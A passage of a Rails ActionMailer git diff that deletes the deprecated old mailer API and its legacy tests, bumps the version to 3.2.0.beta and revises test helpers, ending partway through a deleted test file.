@@ require 'tmpdir' module ActionMailer - # This modules handles everything related to the delivery, from registering new + # This module handles everything related to mail delivery, from registering new # delivery methods to configuring the mail object to be sent. module DeliveryMethods extend ActiveSupport::Concern diff --git a/actionmailer/lib/action_mailer/old_api.rb b/actionmailer/lib/action_mailer/old_api.rb deleted file mode 100644 index bfa9499764..0000000000 --- a/actionmailer/lib/action_mailer/old_api.rb +++ /dev/null @@ -1,255 +0,0 @@ -require 'active_support/concern' -require 'active_support/core_ext/object/try' -require 'active_support/core_ext/object/blank' - -module ActionMailer - module OldApi #:nodoc: - extend ActiveSupport::Concern - - included do - extend ActionMailer::AdvAttrAccessor - self.protected_instance_variables.concat %w(@parts @mail_was_called @headers) - - # Specify the BCC addresses for the message - adv_attr_accessor :bcc - - # Specify the CC addresses for the message. - adv_attr_accessor :cc - - # Specify the charset to use for the message. This defaults to the - # +default_charset+ specified for ActionMailer::Base. - adv_attr_accessor :charset - - # Specify the content type for the message. This defaults to <tt>text/plain</tt> - # in most cases, but can be automatically set in some situations. - adv_attr_accessor :content_type - - # Specify the from address for the message. - adv_attr_accessor :from - - # Specify the address (if different than the "from" address) to direct - # replies to this message. - adv_attr_accessor :reply_to - - # Specify the order in which parts should be sorted, based on content-type. - # This defaults to the value for the +default_implicit_parts_order+. - adv_attr_accessor :implicit_parts_order - - # Defaults to "1.0", but may be explicitly given if needed. - adv_attr_accessor :mime_version - - # The recipient addresses for the message, either as a string (for a single - # address) or an array (for multiple addresses). - adv_attr_accessor :recipients, "Please pass :to as hash key to mail() instead" - - # The date on which the message was sent. If not set (the default), the - # header will be set by the delivery agent. - adv_attr_accessor :sent_on, "Please pass :date as hash key to mail() instead" - - # Specify the subject of the message. - adv_attr_accessor :subject - - # Specify the template name to use for current message. This is the "base" - # template name, without the extension or directory, and may be used to - # have multiple mailer methods share the same template. - adv_attr_accessor :template, "Please pass :template_name or :template_path as hash key to mail() instead" - - # Define the body of the message. This is either a Hash (in which case it - # specifies the variables to pass to the template when it is rendered), - # or a string, in which case it specifies the actual text of the message. - adv_attr_accessor :body - end - - def process(method_name, *args) - initialize_defaults(method_name) - super - unless @mail_was_called - create_parts - create_mail - end - @_message - end - - # Add a part to a multipart message, with the given content-type. The - # part itself is yielded to the block so that other properties (charset, - # body, headers, etc.) can be set on it. - def part(params) - ActiveSupport::Deprecation.warn "part() is deprecated and will be removed in future versions. " << - "Please pass a block to mail() instead." - params = {:content_type => params} if String === params - - if custom_headers = params.delete(:headers) - params.merge!(custom_headers) - end - - part = Mail::Part.new(params) - - yield part if block_given? - @parts << part - end - - # Add an attachment to a multipart message. This is simply a part with the - # content-disposition set to "attachment". - def attachment(params, &block) - ActiveSupport::Deprecation.warn "attachment() is deprecated and will be removed in future versions. " << - "Please use the attachments[] API instead." - params = { :content_type => params } if String === params - - params[:content] ||= params.delete(:data) || params.delete(:body) - - if params[:filename] - params = normalize_file_hash(params) - else - params = normalize_nonfile_hash(params) - end - - part(params, &block) - end - - protected - - def normalize_nonfile_hash(params) - content_disposition = "attachment;" - - mime_type = params.delete(:mime_type) - - if content_type = params.delete(:content_type) - content_type = "#{mime_type || content_type};" - end - - params[:body] = params.delete(:data) if params[:data] - - { :content_type => content_type, - :content_disposition => content_disposition }.merge(params) - end - - def normalize_file_hash(params) - filename = File.basename(params.delete(:filename)) - content_disposition = "attachment; filename=\"#{File.basename(filename)}\"" - - mime_type = params.delete(:mime_type) - - if (content_type = params.delete(:content_type)) && (content_type !~ /filename=/) - content_type = "#{mime_type || content_type}; filename=\"#{filename}\"" - end - - params[:body] = params.delete(:data) if params[:data] - - { :content_type => content_type, - :content_disposition => content_disposition }.merge(params) - end - - def create_mail - m = @_message - - set_fields!({:subject => @subject, :to => @recipients, :from => @from, - :bcc => @bcc, :cc => @cc, :reply_to => @reply_to}, @charset) - - m.mime_version = @mime_version if @mime_version - m.date = @sent_on.to_time rescue @sent_on if @sent_on - - @headers.each { |k, v| m[k] = v } - - real_content_type, ctype_attrs = parse_content_type - main_type, sub_type = split_content_type(real_content_type) - - if @parts.size == 1 && @parts.first.parts.empty? - m.content_type([main_type, sub_type, ctype_attrs]) - m.body = @parts.first.body.encoded - else - @parts.each do |p| - m.add_part(p) - end - - m.body.set_sort_order(@implicit_parts_order) - m.body.sort_parts! - - if real_content_type =~ /multipart/ - ctype_attrs.delete "charset" - m.content_type([main_type, sub_type, ctype_attrs]) - end - end - - wrap_delivery_behavior! - m.content_transfer_encoding = '8bit' unless m.body.only_us_ascii? - - @_message - end - - # Set up the default values for the various instance variables of this - # mailer. Subclasses may override this method to provide different - # defaults. - def initialize_defaults(method_name) - @charset ||= self.class.default[:charset].try(:dup) - @content_type ||= self.class.default[:content_type].try(:dup) - @implicit_parts_order ||= self.class.default[:parts_order].try(:dup) - @mime_version ||= self.class.default[:mime_version].try(:dup) - - @cc, @bcc, @reply_to, @subject, @from, @recipients = nil, nil, nil, nil, nil, nil - - @mailer_name ||= self.class.mailer_name.dup - @template ||= method_name - @mail_was_called = false - - @parts ||= [] - @headers ||= {} - @sent_on ||= Time.now - @body ||= {} - end - - def create_parts - if String === @body - @parts.unshift create_inline_part(@body) - elsif @parts.empty? || @parts.all? { |p| p.content_disposition =~ /^attachment/ } - lookup_context.find_all(@template, [@mailer_name]).each do |template| - self.formats = template.formats - @parts << create_inline_part(render(:template => template), template.mime_type) - end - - if @parts.size > 1 - @content_type = "multipart/alternative" if @content_type !~ /^multipart/ - end - - # If this is a multipart e-mail add the mime_version if it is not - # already set. - @mime_version ||= "1.0" unless @parts.empty? - end - end - - def create_inline_part(body, mime_type=nil) - ct = mime_type || "text/plain" - main_type, sub_type = split_content_type(ct.to_s) - - Mail::Part.new( - :content_type => [main_type, sub_type, {:charset => charset}], - :content_disposition => "inline", - :body => body - ) - end - - def set_fields!(headers, charset) #:nodoc: - m = @_message - m.charset = charset - m.subject ||= headers.delete(:subject) if headers[:subject] - m.to ||= headers.delete(:to) if headers[:to] - m.from ||= headers.delete(:from) if headers[:from] - m.cc ||= headers.delete(:cc) if headers[:cc] - m.bcc ||= headers.delete(:bcc) if headers[:bcc] - m.reply_to ||= headers.delete(:reply_to) if headers[:reply_to] - end - - def split_content_type(ct) - ct.to_s.split("/") - end - - def parse_content_type - if @content_type.blank? - [ nil, {} ] - else - ctype, *attrs = @content_type.split(/;\s*/) - attrs = Hash[attrs.map { |attr| attr.split(/=/, 2) }] - [ctype, {"charset" => @charset}.merge!(attrs)] - end - end - end -end diff --git a/actionmailer/lib/action_mailer/test_case.rb b/actionmailer/lib/action_mailer/test_case.rb index 63e18147f6..c4de029694 100644 --- a/actionmailer/lib/action_mailer/test_case.rb +++ b/actionmailer/lib/action_mailer/test_case.rb @@ -17,7 +17,14 @@ module ActionMailer module ClassMethods def tests(mailer) - self._mailer_class = mailer + case mailer + when String, Symbol + self._mailer_class = mailer.to_s.camelize.constantize + when Module + self._mailer_class = mailer + else + raise NonInferrableMailerError.new(mailer) + end end def mailer_class diff --git a/actionmailer/lib/action_mailer/tmail_compat.rb b/actionmailer/lib/action_mailer/tmail_compat.rb deleted file mode 100644 index 1b2cdcfb27..0000000000 --- a/actionmailer/lib/action_mailer/tmail_compat.rb +++ /dev/null @@ -1,37 +0,0 @@ -module Mail - class Message - - def set_content_type(*args) - message = 'Message#set_content_type is deprecated, please just call ' << - 'Message#content_type with the same arguments' - ActiveSupport::Deprecation.warn(message, caller[0,2]) - content_type(*args) - end - - alias :old_transfer_encoding :transfer_encoding - def transfer_encoding(value = nil) - if value - message = 'Message#transfer_encoding is deprecated, ' << - 'please call Message#content_transfer_encoding with the same arguments' - ActiveSupport::Deprecation.warn(message, caller[0,2]) - content_transfer_encoding(value) - else - old_transfer_encoding - end - end - - def transfer_encoding=(value) - message = 'Message#transfer_encoding= is deprecated, ' << - 'please call Message#content_transfer_encoding= with the same arguments' - ActiveSupport::Deprecation.warn(message, caller[0,2]) - self.content_transfer_encoding = value - end - - def original_filename - message = 'Message#original_filename is deprecated, please call Message#filename' - ActiveSupport::Deprecation.warn(message, caller[0,2]) - filename - end - - end -end diff --git a/actionmailer/lib/action_mailer/version.rb b/actionmailer/lib/action_mailer/version.rb index 8cf3780fbc..b74ba3cb0d 100644 --- a/actionmailer/lib/action_mailer/version.rb +++ b/actionmailer/lib/action_mailer/version.rb @@ -1,9 +1,9 @@ module ActionMailer module VERSION #:nodoc: MAJOR = 3 - MINOR = 1 + MINOR = 2 TINY = 0 - PRE = "beta1" + PRE = "beta" STRING = [MAJOR, MINOR, TINY, PRE].compact.join('.') end diff --git a/actionmailer/test/log_subscriber_test.rb b/actionmailer/test/log_subscriber_test.rb index ba9b4d6500..5f52a1bd69 100644 --- a/actionmailer/test/log_subscriber_test.rb +++ b/actionmailer/test/log_subscriber_test.rb @@ -1,4 +1,5 @@ require "abstract_unit" +require 'mailers/base_mailer' require "active_support/log_subscriber/test_helper" require "action_mailer/log_subscriber" @@ -11,13 +12,6 @@ class AMLogSubscriberTest < ActionMailer::TestCase end class TestMailer < ActionMailer::Base - def basic - recipients "somewhere@example.com" - subject "basic" - from "basic@example.com" - body "Hello world" - end - def receive(mail) # Do nothing end @@ -28,12 +22,12 @@ class AMLogSubscriberTest < ActionMailer::TestCase end def test_deliver_is_notified - TestMailer.basic.deliver + BaseMailer.welcome.deliver wait assert_equal(1, @logger.logged(:info).size) - assert_match(/Sent mail to somewhere@example.com/, @logger.logged(:info).first) + assert_match(/Sent mail to system@test.lindsaar.net/, @logger.logged(:info).first) assert_equal(1, @logger.logged(:debug).size) - assert_match(/Hello world/, @logger.logged(:debug).first) + assert_match(/Welcome/, @logger.logged(:debug).first) end def test_receive_is_notified diff --git a/actionmailer/test/mailers/base_mailer.rb b/actionmailer/test/mailers/base_mailer.rb index 9416bc718e..e55d72fdb4 100644 --- a/actionmailer/test/mailers/base_mailer.rb +++ b/actionmailer/test/mailers/base_mailer.rb @@ -113,6 +113,6 @@ class BaseMailer < ActionMailer::Base end def email_with_translations - mail :body => render("email_with_translations.html") + mail :body => render("email_with_translations", :formats => [:html]) end end diff --git a/actionmailer/test/old_base/adv_attr_test.rb b/actionmailer/test/old_base/adv_attr_test.rb deleted file mode 100644 index c5a6b6d88b..0000000000 --- a/actionmailer/test/old_base/adv_attr_test.rb +++ /dev/null @@ -1,41 +0,0 @@ -require 'abstract_unit' -require 'action_mailer/adv_attr_accessor' - -class AdvAttrTest < ActiveSupport::TestCase - class Person - cattr_reader :protected_instance_variables - @@protected_instance_variables = [] - - extend ActionMailer::AdvAttrAccessor - adv_attr_accessor :name - end - - def setup - ActiveSupport::Deprecation.silenced = true - @person = Person.new - end - - def teardown - ActiveSupport::Deprecation.silenced = false - end - - def test_adv_attr - assert_nil @person.name - @person.name 'Bob' - assert_equal 'Bob', @person.name - end - - def test_adv_attr_writer - assert_nil @person.name - @person.name = 'Bob' - assert_equal 'Bob', @person.name - end - - def test_raise_an_error_with_multiple_args - assert_raise(ArgumentError) { @person.name('x', 'y') } - end - - def test_ivar_is_added_to_protected_instnace_variables - assert Person.protected_instance_variables.include?('@name') - end -end diff --git a/actionmailer/test/old_base/mail_render_test.rb b/actionmailer/test/old_base/mail_render_test.rb deleted file mode 100644 index 3a1d3184f4..0000000000 --- a/actionmailer/test/old_base/mail_render_test.rb +++ /dev/null @@ -1,134 +0,0 @@ -require 'abstract_unit' - -class RenderMailer < ActionMailer::Base - def inline_template - recipients 'test@localhost' - subject "using helpers" - from "tester@example.com" - - @world = "Earth" - body render(:inline => "Hello, <%= @world %>") - end - - def file_template - recipients 'test@localhost' - subject "using helpers" - from "tester@example.com" - - @recipient = 'test@localhost' - body render(:file => "templates/signed_up") - end - - def no_instance_variable - recipients 'test@localhost' - subject "No Instance Variable" - from "tester@example.com" - - silence_warnings do - body render(:inline => "Look, subject.nil? is <%= @subject.nil? %>!") - end - end - - def multipart_alternative - recipients 'test@localhost' - subject 'multipart/alternative' - from 'tester@example.com' - - build_multipart_message(:foo => "bar") - end - - private - def build_multipart_message(assigns = {}) - content_type "multipart/alternative" - - part "text/plain" do |p| - p.body = build_body_part('plain', assigns, :layout => false) - end - - part "text/html" do |p| - p.body = build_body_part('html', assigns) - end - end - - def build_body_part(content_type, assigns, options = {}) - ActiveSupport::Deprecation.silence do - render "#{template}.#{content_type}", :body => assigns - end - end -end - -class FirstMailer < ActionMailer::Base - def share - recipients 'test@localhost' - subject "using helpers" - from "tester@example.com" - end -end - -class SecondMailer < ActionMailer::Base - def share - recipients 'test@localhost' - subject "using helpers" - from "tester@example.com" - end -end - -# CHANGED: Those tests were changed because body returns an object now -# Instead of mail.body.strip, we should mail.body.to_s.strip -class RenderHelperTest < Test::Unit::TestCase - def setup - set_delivery_method :test - ActionMailer::Base.perform_deliveries = true - ActionMailer::Base.deliveries.clear - ActiveSupport::Deprecation.silenced = true - - @recipient = 'test@localhost' - end - - def teardown - ActiveSupport::Deprecation.silenced = false - restore_delivery_method - end - - def test_inline_template - mail = RenderMailer.inline_template - assert_equal "Hello, Earth", mail.body.to_s.strip - end - - def test_file_template - mail = RenderMailer.file_template - assert_equal "Hello there,\n\nMr. test@localhost", mail.body.to_s.strip - end - - def test_no_instance_variable - mail = RenderMailer.no_instance_variable.deliver - assert_equal "Look, subject.nil? is true!", mail.body.to_s.strip - end -end - -class FirstSecondHelperTest < Test::Unit::TestCase - def setup - set_delivery_method :test - ActiveSupport::Deprecation.silenced = true - ActionMailer::Base.perform_deliveries = true - ActionMailer::Base.deliveries.clear - - @recipient = 'test@localhost' - end - - def teardown - ActiveSupport::Deprecation.silenced = false - restore_delivery_method - end - - def test_ordering - mail = FirstMailer.share - assert_equal "first mail", mail.body.to_s.strip - mail = SecondMailer.share - assert_equal "second mail", mail.body.to_s.strip - mail = FirstMailer.share - assert_equal "first mail", mail.body.to_s.strip - mail = SecondMailer.share - assert_equal "second mail", mail.body.to_s.strip - end -end diff --git a/actionmailer/test/old_base/mail_service_test.rb b/actionmailer/test/old_base/mail_service_test.rb deleted file mode 100644 index 0b5b0b2da3..0000000000 --- a/actionmailer/test/old_base/mail_service_test.rb +++ /dev/null @@ -1,1097 +0,0 @@ -# encoding: utf-8 -require 'abstract_unit' - -class FunkyPathMailer < ActionMailer::Base - self.view_paths = "#{File.dirname(__FILE__)}/../fixtures/path.with.dots" - - def multipart_with_template_path_with_dots(recipient) - recipients recipient - subject "This path has dots" - from "Chad Fowler <chad@chadfowler.com>" - attachment :content_type => "text/plain", - :data => "dots dots dots..." - end -end - -class TestMailer < ActionMailer::Base - def signed_up(recipient) - recipients recipient - subject "[Signed up] Welcome #{recipient}" - from "system@loudthinking.com" - - @recipient = recipient - end - - def cancelled_account(recipient) - recipients recipient - subject "[Cancelled] Goodbye #{recipient}" - from "system@loudthinking.com" - sent_on Time.local(2004, 12, 12) - body "Goodbye, Mr. #{recipient}" - end - - def from_with_name - from "System <system@loudthinking.com>" - recipients "root@loudthinking.com" - body "Nothing to see here." - end - - def from_without_name - from "system@loudthinking.com" - recipients "root@loudthinking.com" - body "Nothing to see here." - end - - def cc_bcc(recipient) - recipients recipient - subject "testing bcc/cc" - from "system@loudthinking.com" - sent_on Time.local(2004, 12, 12) - cc "nobody@loudthinking.com" - bcc "root@loudthinking.com" - - body "Nothing to see here." - end - - def different_reply_to(recipient) - recipients recipient - subject "testing reply_to" - from "system@loudthinking.com" - sent_on Time.local(2008, 5, 23) - reply_to "atraver@gmail.com" - - body "Nothing to see here." - end - - def iso_charset(recipient) - recipients recipient - subject "testing isø charsets" - from "system@loudthinking.com" - sent_on Time.local(2004, 12, 12) - cc "nobody@loudthinking.com" - bcc "root@loudthinking.com" - charset "iso-8859-1" - - body "Nothing to see here." - end - - def unencoded_subject(recipient) - recipients recipient - subject "testing unencoded subject" - from "system@loudthinking.com" - sent_on Time.local(2004, 12, 12) - cc "nobody@loudthinking.com" - bcc "root@loudthinking.com" - - body "Nothing to see here." - end - - def extended_headers(recipient) - recipients recipient - subject "testing extended headers" - from "Grytøyr <stian1@example.net>" - sent_on Time.local(2004, 12, 12) - cc "Grytøyr <stian2@example.net>" - bcc "Grytøyr <stian3@example.net>" - charset "iso-8859-1" - - body "Nothing to see here." - end - - def utf8_body(recipient) - recipients recipient - subject "testing utf-8 body" - from "Foo áëô îü <extended@example.net>" - sent_on Time.local(2004, 12, 12) - cc "Foo áëô îü <extended@example.net>" - bcc "Foo áëô îü <extended@example.net>" - charset "UTF-8" - - body "åœö blah" - end - - def multipart_with_mime_version(recipient) - recipients recipient - subject "multipart with mime_version" - from "test@example.com" - sent_on Time.local(2004, 12, 12) - mime_version "1.1" - content_type "multipart/alternative" - - part "text/plain" do |p| - p.body = render(:text => "blah") - end - - part "text/html" do |p| - p.body = render(:inline => "<%= content_tag(:b, 'blah') %>") - end - end - - def multipart_with_utf8_subject(recipient) - recipients recipient - subject "Foo áëô îü" - from "test@example.com" - charset "UTF-8" - - part "text/plain" do |p| - p.body = "blah" - end - - part "text/html" do |p| - p.body = "<b>blah</b>" - end - end - - def explicitly_multipart_example(recipient, ct=nil) - recipients recipient - subject "multipart example" - from "test@example.com" - sent_on Time.local(2004, 12, 12) - content_type ct if ct - - part "text/html" do |p| - p.charset = "iso-8859-1" - p.body = "blah" - end - - attachment :content_type => "image/jpeg", :filename => File.join(File.dirname(__FILE__), "fixtures", "attachments", "foo.jpg"), - :data => "123456789" - - body "plain text default" - end - - def implicitly_multipart_example(recipient, cs = nil, order = nil) - recipients recipient - subject "multipart example" - from "test@example.com" - sent_on Time.local(2004, 12, 12) - - @charset = cs if cs - @recipient = recipient - @implicit_parts_order = order if order - end - - def implicitly_multipart_with_utf8 - recipients "no.one@nowhere.test" - subject "Foo áëô îü" - from "some.one@somewhere.test" - template "implicitly_multipart_example" - - @recipient = "no.one@nowhere.test" - end - - def html_mail(recipient) - recipients recipient - subject "html mail" - from "test@example.com" - content_type "text/html" - - body "<em>Emphasize</em> <strong>this</strong>" - end - - def html_mail_with_underscores(recipient) - subject "html mail with underscores" - body %{<a href="http://google.com" target="_blank">_Google</a>} - end - - def custom_template(recipient) - recipients recipient - subject "[Signed up] Welcome #{recipient}" - from "system@loudthinking.com" - sent_on Time.local(2004, 12, 12) - template "signed_up" - - @recipient = recipient - end - - def custom_templating_extension(recipient) - recipients recipient - subject "[Signed up] Welcome #{recipient}" - from "system@loudthinking.com" - sent_on Time.local(2004, 12, 12) - - @recipient = recipient - end - - def various_newlines(recipient) - recipients recipient - subject "various newlines" - from "test@example.com" - - body "line #1\nline #2\rline #3\r\nline #4\r\r" + - "line #5\n\nline#6\r\n\r\nline #7" - end - - def various_newlines_multipart(recipient) - recipients recipient - subject "various newlines multipart" - from "test@example.com" - content_type "multipart/alternative" - - part :content_type => "text/plain", :body => "line #1\nline #2\rline #3\r\nline #4\r\r" - part :content_type => "text/html", :body => "<p>line #1</p>\n<p>line #2</p>\r<p>line #3</p>\r\n<p>line #4</p>\r\r" - end - - def nested_multipart(recipient) - recipients recipient - subject "nested multipart" - from "test@example.com" - content_type "multipart/mixed" - - part :content_type => "multipart/alternative", :content_disposition => "inline", "foo" => "bar" do |p| - p.part :content_type => "text/plain", :body => "test text\nline #2" - p.part :content_type => "text/html", :body => "<b>test</b> HTML<br/>\nline #2" - end - - attachment :content_type => "application/octet-stream", :filename => "test.txt", :data => "test abcdefghijklmnopqstuvwxyz" - end - - def nested_multipart_with_body(recipient) - recipients recipient - subject "nested multipart with body" - from "test@example.com" - content_type "multipart/mixed" - - part :content_type => "multipart/alternative", :content_disposition => "inline", :body => "Nothing to see here." do |p| - p.part :content_type => "text/html", :body => "<b>test</b> HTML<br/>" - end - end - - def attachment_with_custom_header(recipient) - recipients recipient - subject "custom header in attachment" - from "test@example.com" - content_type "multipart/related" - part :content_type => "text/html", :body => 'yo' - attachment :content_type => "image/jpeg", :filename => File.join(File.dirname(__FILE__), "fixtures", "attachments", "test.jpg"), :data => "i am not a real picture", 'Content-ID' => '<test@test.com>' - end - - def unnamed_attachment(recipient) - recipients recipient - subject "nested multipart" - from "test@example.com" - content_type "multipart/mixed" - part :content_type => "text/plain", :body => "hullo" - attachment :content_type => "application/octet-stream", :data => "test abcdefghijklmnopqstuvwxyz" - end - - def headers_with_nonalpha_chars(recipient) - recipients recipient - subject "nonalpha chars" - from "One: Two <test@example.com>" - cc "Three: Four <test@example.com>" - bcc "Five: Six <test@example.com>" - body "testing" - end - - def custom_content_type_attributes - recipients "no.one@nowhere.test" - subject "custom content types" - from "some.one@somewhere.test" - content_type "text/plain; format=flowed" - body "testing" - end - - def return_path - recipients "no.one@nowhere.test" - subject "return path test" - from "some.one@somewhere.test" - headers["return-path"] = "another@somewhere.test" - body "testing" - end - - def subject_with_i18n(recipient) - recipients recipient - from "system@loudthinking.com" - body "testing" - end - - class << self - attr_accessor :received_body - end - - def receive(mail) - self.class.received_body = mail.body - end -end - -class ActionMailerTest < Test::Unit::TestCase - - def encode( text, charset="UTF-8" ) - Mail::Encodings.q_value_encode( text, charset ) - end - - def new_mail( charset="UTF-8" ) - mail = Mail.new - mail.charset = charset - mail.mime_version = "1.0" - mail - end - - def setup - set_delivery_method :test - ActionMailer::Base.perform_deliveries = true - ActionMailer::Base.raise_delivery_errors = true - ActionMailer::Base.deliveries.clear - ActiveSupport::Deprecation.silenced = true - - @recipient = 'test@localhost' - - TestMailer.delivery_method = :test - end - - def teardown - ActiveSupport::Deprecation.silenced = false - restore_delivery_method - end - - def test_nested_parts - created = nil - assert_nothing_raised { created = TestMailer.nested_multipart(@recipient)} - assert_equal 2, created.parts.size - assert_equal 2, created.parts.first.parts.size - - assert_equal "multipart/mixed", created.mime_type - assert_equal "multipart/alternative", created.parts[0].mime_type - assert_equal "bar", created.parts[0].header['foo'].to_s - assert_not_nil created.parts[0].charset - assert_equal "text/plain", created.parts[0].parts[0].mime_type - assert_equal "text/html", created.parts[0].parts[1].mime_type - assert_equal "application/octet-stream", created.parts[1].mime_type - - end - - def test_nested_parts_with_body - created = nil - TestMailer.nested_multipart_with_body(@recipient) - assert_nothing_raised { created = TestMailer.nested_multipart_with_body(@recipient)} - - assert_equal 1,created.parts.size - assert_equal 2,created.parts.first.parts.size - - assert_equal "multipart/mixed", created.mime_type - assert_equal "multipart/alternative", created.parts.first.mime_type - assert_equal "text/plain", created.parts.first.parts.first.mime_type - assert_equal "Nothing to see here.", created.parts.first.parts.first.body.to_s - assert_equal "text/html", created.parts.first.parts.second.mime_type - assert_equal "<b>test</b> HTML<br/>", created.parts.first.parts.second.body.to_s - end - - def test_attachment_with_custom_header - created = nil - assert_nothing_raised { created = TestMailer.attachment_with_custom_header(@recipient) } - assert created.parts.any? { |p| p.header['content-id'].to_s == "<test@test.com>" } - end - - def test_signed_up - TestMailer.delivery_method = :test - - Time.stubs(:now => Time.now) - - expected = new_mail - expected.to = @recipient - expected.subject = "[Signed up] Welcome #{@recipient}" - expected.body = "Hello there,\n\nMr. #{@recipient}" - expected.from = "system@loudthinking.com" - expected.date = Time.now - - created = nil - assert_nothing_raised { created = TestMailer.signed_up(@recipient) } - assert_not_nil created - - expected.message_id = '<123@456>' - created.message_id = '<123@456>' - - assert_equal expected.encoded, created.encoded - - assert_nothing_raised { TestMailer.signed_up(@recipient).deliver } - - delivered = ActionMailer::Base.deliveries.first - assert_not_nil delivered - - expected.message_id = '<123@456>' - delivered.message_id = '<123@456>' - - assert_equal expected.encoded, delivered.encoded - end - - def test_custom_template - expected = new_mail - expected.to = @recipient - expected.subject = "[Signed up] Welcome #{@recipient}" - expected.body = "Hello there,\n\nMr. #{@recipient}" - expected.from = "system@loudthinking.com" - expected.date = Time.local(2004, 12, 12) - - created = nil - assert_nothing_raised { created = TestMailer.custom_template(@recipient) } - assert_not_nil created - expected.message_id = '<123@456>' - created.message_id = '<123@456>' - assert_equal expected.encoded, created.encoded - end - - def test_custom_templating_extension - assert ActionView::Template.template_handler_extensions.include?("haml"), "haml extension was not registered" - - # N.b., custom_templating_extension.text.plain.haml is expected to be in fixtures/test_mailer directory - expected = new_mail - expected.to = @recipient - expected.subject = "[Signed up] Welcome #{@recipient}" - expected.body = "Hello there, \n\nMr. #{@recipient}" - expected.from = "system@loudthinking.com" - expected.date = Time.local(2004, 12, 12) - - # Now that the template is registered, there should be one part. The text/plain part. - created = nil - assert_nothing_raised { created = TestMailer.custom_templating_extension(@recipient) } - assert_not_nil created - assert_equal 2, created.parts.length - assert_equal 'text/plain', created.parts[0].mime_type - assert_equal 'text/html', created.parts[1].mime_type - end - - def test_cancelled_account - expected = new_mail - expected.to = @recipient - expected.subject = "[Cancelled] Goodbye #{@recipient}" - expected.body = "Goodbye, Mr. #{@recipient}" - expected.from = "system@loudthinking.com" - expected.date = Time.local(2004, 12, 12) - - created = nil - assert_nothing_raised { created = TestMailer.cancelled_account(@recipient) } - assert_not_nil created - expected.message_id = '<123@456>' - created.message_id = '<123@456>' - assert_equal expected.encoded, created.encoded - - assert_nothing_raised { TestMailer.cancelled_account(@recipient).deliver } - assert_not_nil ActionMailer::Base.deliveries.first - delivered = ActionMailer::Base.deliveries.first - expected.message_id = '<123@456>' - delivered.message_id = '<123@456>' - - assert_equal expected.encoded, delivered.encoded - end - - def test_cc_bcc - expected = new_mail - expected.to = @recipient - expected.subject = "testing bcc/cc" - expected.body = "Nothing to see here." - expected.from = "system@loudthinking.com" - expected.cc = "nobody@loudthinking.com" - expected.bcc = "root@loudthinking.com" - expected.date = Time.local 2004, 12, 12 - - created = nil - assert_nothing_raised do - created = TestMailer.cc_bcc @recipient - end - assert_not_nil created - expected.message_id = '<123@456>' - created.message_id = '<123@456>' - assert_equal expected.encoded, created.encoded - - assert_nothing_raised do - TestMailer.cc_bcc(@recipient).deliver - end - - assert_not_nil ActionMailer::Base.deliveries.first - delivered = ActionMailer::Base.deliveries.first - expected.message_id = '<123@456>' - delivered.message_id = '<123@456>' - - assert_equal expected.encoded, delivered.encoded - end - - def test_from_without_name_for_smtp - TestMailer.delivery_method = :smtp - TestMailer.from_without_name.deliver - - mail = MockSMTP.deliveries.first - assert_not_nil mail - mail, from, to = mail - - assert_equal 'system@loudthinking.com', from.to_s - end - - def test_from_with_name_for_smtp - TestMailer.delivery_method = :smtp - TestMailer.from_with_name.deliver - - mail = MockSMTP.deliveries.first - assert_not_nil mail - mail, from, to = mail - - assert_equal 'system@loudthinking.com', from - end - - def test_reply_to - TestMailer.delivery_method = :test - - expected = new_mail - - expected.to = @recipient - expected.subject = "testing reply_to" - expected.body = "Nothing to see here." - expected.from = "system@loudthinking.com" - expected.reply_to = "atraver@gmail.com" - expected.date = Time.local 2008, 5, 23 - - created = nil - assert_nothing_raised do - created = TestMailer.different_reply_to @recipient - end - assert_not_nil created - - expected.message_id = '<123@456>' - created.message_id = '<123@456>' - - assert_equal expected.encoded, created.encoded - - assert_nothing_raised do - TestMailer.different_reply_to(@recipient).deliver - end - - delivered = ActionMailer::Base.deliveries.first - assert_not_nil delivered - - expected.message_id = '<123@456>' - delivered.message_id = '<123@456>' - - assert_equal expected.encoded, delivered.encoded - end - - def test_iso_charset - TestMailer.delivery_method = :test - expected = new_mail( "iso-8859-1" ) - expected.to = @recipient - expected.subject = encode "testing isø charsets", "iso-8859-1" - expected.body = "Nothing to see here." - expected.from = "system@loudthinking.com" - expected.cc = "nobody@loudthinking.com" - expected.bcc = "root@loudthinking.com" - expected.date = Time.local 2004, 12, 12 - - created = nil - assert_nothing_raised do - created = TestMailer.iso_charset @recipient - end - assert_not_nil created - - expected.message_id = '<123@456>' - created.message_id = '<123@456>' - - assert_equal expected.encoded, created.encoded - - assert_nothing_raised do - TestMailer.iso_charset(@recipient).deliver - end - - delivered = ActionMailer::Base.deliveries.first - assert_not_nil delivered - - expected.message_id = '<123@456>' - delivered.message_id = '<123@456>' - - assert_equal expected.encoded, delivered.encoded - end - - def test_unencoded_subject - TestMailer.delivery_method = :test - expected = new_mail - expected.to = @recipient - expected.subject = "testing unencoded subject" - expected.body = "Nothing to see here." - expected.from = "system@loudthinking.com" - expected.cc = "nobody@loudthinking.com" - expected.bcc = "root@loudthinking.com" - expected.date = Time.local 2004, 12, 12 - - created = nil - assert_nothing_raised do - created = TestMailer.unencoded_subject @recipient - end - assert_not_nil created - - expected.message_id = '<123@456>' - created.message_id = '<123@456>' - - assert_equal expected.encoded, created.encoded - - assert_nothing_raised do - TestMailer.unencoded_subject(@recipient).deliver - end - - delivered = ActionMailer::Base.deliveries.first - assert_not_nil delivered - - expected.message_id = '<123@456>' - delivered.message_id = '<123@456>' - - assert_equal expected.encoded, delivered.encoded - end - - def test_deliveries_array - assert_not_nil ActionMailer::Base.deliveries - assert_equal 0, ActionMailer::Base.deliveries.size - TestMailer.signed_up(@recipient).deliver - assert_equal 1, ActionMailer::Base.deliveries.size - assert_not_nil ActionMailer::Base.deliveries.first - end - - def test_perform_deliveries_flag - ActionMailer::Base.perform_deliveries = false - TestMailer.signed_up(@recipient).deliver - assert_equal 0, ActionMailer::Base.deliveries.size - ActionMailer::Base.perform_deliveries = true - TestMailer.signed_up(@recipient).deliver - assert_equal 1, ActionMailer::Base.deliveries.size - end - - def test_doesnt_raise_errors_when_raise_delivery_errors_is_false - ActionMailer::Base.raise_delivery_errors = false - Mail::TestMailer.any_instance.expects(:deliver!).raises(Exception) - assert_nothing_raised { TestMailer.signed_up(@recipient).deliver } - end - - def test_performs_delivery_via_sendmail - IO.expects(:popen).once.with('/usr/sbin/sendmail -i -t -f "system@loudthinking.com" test@localhost', 'w+') - TestMailer.delivery_method = :sendmail - TestMailer.signed_up(@recipient).deliver - end - - def test_unquote_quoted_printable_subject - msg = <<EOF -From: me@example.com -Subject: =?UTF-8?Q?testing_testing_=D6=A4?= 